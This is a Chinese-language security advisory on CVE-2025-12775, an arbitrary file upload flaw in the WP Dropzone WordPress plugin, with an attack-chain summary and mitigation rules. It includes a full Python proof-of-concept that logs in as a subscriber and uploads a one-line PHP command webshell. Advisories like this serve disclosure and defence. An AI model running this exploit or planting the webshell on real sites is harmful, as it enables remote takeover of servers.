IPBUF安全漏洞报告
English
CVE-2025-12775 CVSS 8.8 高危

CVE-2025-12775 WordPress WP Dropzone插件任意文件上传漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12775
漏洞类型
任意文件上传/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Dropzone plugin for WordPress

相关标签

任意文件上传远程代码执行WordPress插件漏洞WP Dropzone身份验证绕过CVE-2025-12775高危漏洞

漏洞概述

CVE-2025-12775是WordPress WP Dropzone插件中的一个高危安全漏洞,CVSS评分高达8.8。该漏洞允许已认证的攻击者(具有订阅者级别或更高权限的用户)在目标服务器上上传任意文件。由于WP Dropzone插件的分块上传功能在文件类型验证之前直接将文件写入上传目录,攻击者可以绕过安全检查上传恶意文件(如PHP webshell),从而可能在服务器上执行任意代码,实现远程代码执行(RCE)。此漏洞影响该插件的所有版本直至并包括1.1.0版本。由于WordPress默认允许新用户注册为订阅者角色,攻击面相对较大,威胁程度显著。

技术细节

漏洞根源在于WP Dropzone插件的ajax_upload_handle函数存在安全缺陷。在分块上传(chunked upload)功能实现中,代码先将接收到的文件数据直接写入服务器的uploads目录,然后才进行文件类型验证。这种处理顺序违反了安全最佳实践,导致攻击者可以在验证完成前就完成恶意文件的上传。具体来说,攻击者利用分块上传功能,将恶意PHP文件切割成多个块,每个块单独上传时都会先写入磁盘。由于缺少前置的文件类型检查,攻击者可以构造特定的分块请求,上传包含webshell的PHP文件。一旦文件成功写入服务器,攻击者即可通过HTTP请求访问该文件,在服务器上执行任意系统命令,实现完整的远程代码执行控制。漏洞代码位于includes/class-plugin.php的第127行和第88行附近。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress站点注册账户,默认获得订阅者(subscriber)角色权限
STEP 2
步骤2
攻击者构造恶意文件(如PHP webshell)并通过WP Dropzone插件的ajax_upload_handle函数上传
STEP 3
步骤3
由于分块上传功能在文件类型验证前先将文件写入uploads目录,恶意PHP文件绕过安全检查成功上传
STEP 4
步骤4
攻击者通过HTTP请求访问上传的恶意文件,触发webshell执行
STEP 5
步骤5
攻击者在服务器上执行任意系统命令,实现远程代码执行(RCE),完全控制目标站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12775 PoC - WP Dropzone Arbitrary File Upload This PoC demonstrates uploading a PHP webshell via the vulnerable endpoint. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker123" def get_nonce(wordpress_url, username, password): """Login to WordPress and extract nonce and cookies""" session = requests.Session() # Get login page to extract nonce login_url = f"{wordpress_url}/wp-login.php" resp = session.get(login_url) # Extract login nonce import re nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', resp.text) if not nonce_match: print("[-] Failed to extract nonce") return None, None nonce = nonce_match.group(1) # Login login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "_wpnonce": nonce, "redirect_to": "/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if "wordpress_logged_in" in str(session.cookies): print("[+] Login successful") return session.cookies, session else: print("[-] Login failed") return None, None def upload_shell(session, wordpress_url): """Upload malicious PHP file via vulnerable endpoint""" upload_url = f"{wordpress_url}/wp-admin/admin-ajax.php" # PHP webshell content webshell = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Chunked upload parameters files = { "file": ("shell.php", webshell, "application/x-php") } data = { "action": "dropzone_upload", "chunk": "0", "chunks": "1", "file_id": "malicious_shell" } print("[*] Uploading malicious PHP file...") resp = session.post(upload_url, files=files, data=data) if resp.status_code == 200: print("[+] File uploaded successfully") print(f"[*] Try accessing: {wordpress_url}/wp-content/uploads/dropzone/malicious_shell.php?cmd=whoami") else: print(f"[-] Upload failed: {resp.status_code}") print(resp.text) if __name__ == "__main__": cookies, session = get_nonce(TARGET_URL, USERNAME, PASSWORD) if cookies: upload_shell(session, TARGET_URL)

影响范围

WP Dropzone plugin for WordPress <= 1.1.0

防御指南

临时缓解措施
立即将WP Dropzone插件升级到1.1.1或更高版本。同时可通过在wp-content/uploads目录中添加.htaccess文件来禁止PHP文件执行:创建.htaccess文件添加'AddHandler cgi-script .php .php3 .phtml .pl .py .jsp .asp .aspx .shtml .sh .cgi'和'Options -ExecCGI'规则,或在Nginx配置中添加'location ~ /wp-content/uploads/.*\.php$ { deny all; }'规则以阻止已上传的PHP文件被执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表